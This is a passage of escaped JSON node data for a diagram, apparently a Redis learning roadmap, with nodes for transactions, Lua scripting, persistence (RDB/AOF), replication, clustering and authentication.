\"x\": 48.784146851171954,\n        \"y\": 2406.028423683739\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"n7tMR48rdamdpGuCKKiJh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 48.784146851171954,\n        \"y\": 2406.028423683739\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"V-d6q-3Sf0dl5v8xiCQwl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.284146851171954,\n        \"y\": 2352.028423683739\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FCbdKnkI1ZHGekT6yiGua\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 44.284146851171954,\n        \"y\": 2352.028423683739\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MvyE_JUJej0UB9xe8Anfj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 45.284146851171954,\n        \"y\": 2447.028423683739\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GNMjrLPkpTphneoQ0GoZF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 45.284146851171954,\n        \"y\": 2447.028423683739\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YHbWlKrQqptUDbaQVy0_A\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -270.6768116800821,\n        \"y\": 2094.1338220801877\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9W_jaK1DSEZHRKdPcUM7h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -270.6768116800821,\n        \"y\": 2094.1338220801877\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"c-y5Eck8VtSyIf8RAW9p7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -259.6768116800821,\n        \"y\": 2192.7847957820186\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"WATCH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -259.6768116800821,\n        \"y\": 2192.7847957820186\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ljy-Mc0EBBX4_vXfYZ5-4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -259.6768116800821,\n        \"y\": 2245.7847957820186\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"EXEC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -259.6768116800821,\n        \"y\": 2245.7847957820186\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U6hST1MkS16T2CHV3-Ise\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -259.6768116800821,\n        \"y\": 2298.7847957820186\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MULTI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -259.6768116800821,\n        \"y\": 2298.7847957820186\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bnqUb3pHb4KzH_vA0JO-o\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -254.1768116800821,\n        \"y\": 2357.7847957820186\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"fu9hfU-5qxDc2psK6-AEm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -254.1768116800821,\n        \"y\": 2357.7847957820186\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"msW0Wd2H-6FFNDnjC64t-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -259.6768116800821,\n        \"y\": 2393.7847957820186\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Optimistic Locking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MvyE_JUJej0UB9xe8Anfj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -259.6768116800821,\n        \"y\": 2393.7847957820186\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"Veb30QrPYNjUn13dtGbUr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -540.6396884459828,\n        \"y\": 2094.1338220801877\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Lua Scripting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YHbWlKrQqptUDbaQVy0_A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -540.6396884459828,\n        \"y\": 2094.1338220801877\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rjeq3i9oX8IGyQzo--L3c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -531.1396884459828,\n        \"y\": 2193.3736263464275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"EVAL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -531.1396884459828,\n        \"y\": 2193.3736263464275\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3X0x_PcJGWBVPL-LSVAln\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -531.1396884459828,\n        \"y\": 2246.3736263464275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"EVALSHA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -531.1396884459828,\n        \"y\": 2246.3736263464275\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ntFfk1RRA5g_dC5McYb9g\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -527.6396884459828,\n        \"y\": 2300.6176330596563\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"fu9hfU-5qxDc2psK6-AEm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -527.6396884459828,\n        \"y\": 2300.6176330596563\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"kF_nGo845XDwLkwcQt008\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -531.1396884459828,\n        \"y\": 2341.6176330596563\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MvyE_JUJej0UB9xe8Anfj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -531.1396884459828,\n        \"y\": 2341.6176330596563\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bQaek7f3dAaZfSUhwovm1\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -761.5705012400213,\n        \"y\": 2430.5411678802984\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Persistence Options\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Veb30QrPYNjUn13dtGbUr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -761.5705012400213,\n        \"y\": 2430.5411678802984\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D3pZdAjwPFMRxX1-iyu5-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.4056236984468,\n        \"y\": 2582.722300491497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"How RDB Works?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.4056236984468,\n        \"y\": 2582.722300491497\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_pb2DPrFUUZabKxWsuFUo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.4056236984468,\n        \"y\": 2635.722300491497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Configuring Save Interval\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.4056236984468,\n        \"y\": 2635.722300491497\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z6yJwUkcDX08HoMyf1LwX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.4056236984468,\n        \"y\": 2688.722300491497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases / Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vzp7DUpjklzIA0E9WxJQA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.4056236984468,\n        \"y\": 2688.722300491497\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cXcTz_u6RL3novZimRdg_\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -746.4056236984468,\n        \"y\": 2748.722300491497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Snapshotting (RDB)\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -746.4056236984468,\n        \"y\": 2748.722300491497\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"PTj6oxvpw8vP295WvAI80\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.5040036977603,\n        \"y\": 2795.239715349408\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"How AOF Works?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.5040036977603,\n        \"y\": 2795.239715349408\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ibaZ34-laQtUyxAsERi7o\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.5040036977603,\n        \"y\": 2848.239715349408\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AOF rewrite & compaction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.5040036977603,\n        \"y\": 2848.239715349408\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9ToKTUqbi-NV5Wcwb21PT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.5040036977603,\n        \"y\": 2901.239715349408\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Truncation / Corruption\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -788.5040036977603,\n        \"y\": 2901.239715349408\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VvOQUO22ZF8VvDSqHENNU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.5040036977603,\n        \"y\": 2954.239715349408\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.5040036977603,\n        \"y\": 2954.239715349408\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"Y__3QLU4PChySvPtqDtxT\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -761.0995417594463,\n        \"y\": 3012.821469532407\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Append-Only File (AOF)\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -761.0995417594463,\n        \"y\": 3012.821469532407\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"vzp7DUpjklzIA0E9WxJQA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.4056236984468,\n        \"y\": 2688.722300491497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases / Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.4056236984468,\n        \"y\": 2688.722300491497\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"80035BzcB-fKCvD_3N8zE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -796.4056236984468,\n        \"y\": 2525.722300491497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"No Persistence Option\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D3pZdAjwPFMRxX1-iyu5-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -796.4056236984468,\n        \"y\": 2525.722300491497\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3S-qqOlfr60HR4VvDr4He\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.4056236984468,\n        \"y\": 3069.0956068302976\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RDB vs AOF Tradeoffs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PTj6oxvpw8vP295WvAI80\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.4056236984468,\n        \"y\": 3069.0956068302976\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S5Y26m1oHCQpB-oLCdtac\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -786.6346077601577,\n        \"y\": 3121.5956068302976\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hybrid Persistence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3S-qqOlfr60HR4VvDr4He\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -786.6346077601577,\n        \"y\": 3121.5956068302976\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8zl_DwdRI2MGz6RadV4lE\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -762.1812271795868,\n        \"y\": 3177.5821619503376\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Choosing Right Strategy\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Y__3QLU4PChySvPtqDtxT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -762.1812271795868,\n        \"y\": 3177.5821619503376\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"0zHluzD25vXl3AYcvbxhx\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -670.0705012400213,\n        \"y\": 2479.5411678802984\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -670.0705012400213,\n        \"y\": 2479.5411678802984\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"uvwbpHaA6rH6YrHuEdBxh\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -485.07050124002126,\n        \"y\": 2570.722300491497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Replication / HA\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"45ihdIfRW-jI38h-s4Vdc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 58,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 58\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -485.07050124002126,\n        \"y\": 2570.722300491497\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 58\n      }\n    },\n    {\n      \"id\": \"rSD8nJ-uNpHJVe5Hn66h7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -487.52827201104554,\n        \"y\": 2691.3630425975985\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Replication Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -487.52827201104554,\n        \"y\": 2691.3630425975985\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nci3OB1NE1zJHUPfZCOpT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -487.52827201104554,\n        \"y\": 2744.3630425975985\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Redis Sentinel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -487.52827201104554,\n        \"y\": 2744.3630425975985\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"AQiCcHS6dBAAAPloxiXub\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -487.52827201104554,\n        \"y\": 2797.3630425975985\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Clustering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -487.52827201104554,\n        \"y\": 2797.3630425975985\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zmVjMf9wNHARBS_mBY4lY\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -192.0301527130956,\n        \"y\": 2795.3630425975985\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"uvwbpHaA6rH6YrHuEdBxh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 53,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 53\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -192.0301527130956,\n        \"y\": 2795.3630425975985\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 53\n      }\n    },\n    {\n      \"id\": \"Qy42paiTUsO8HIwbWTMui\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -232.0301527130956,\n        \"y\": 2574.728124123601\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rSD8nJ-uNpHJVe5Hn66h7\"\n      },\n      \"zIndex\": 999,\n      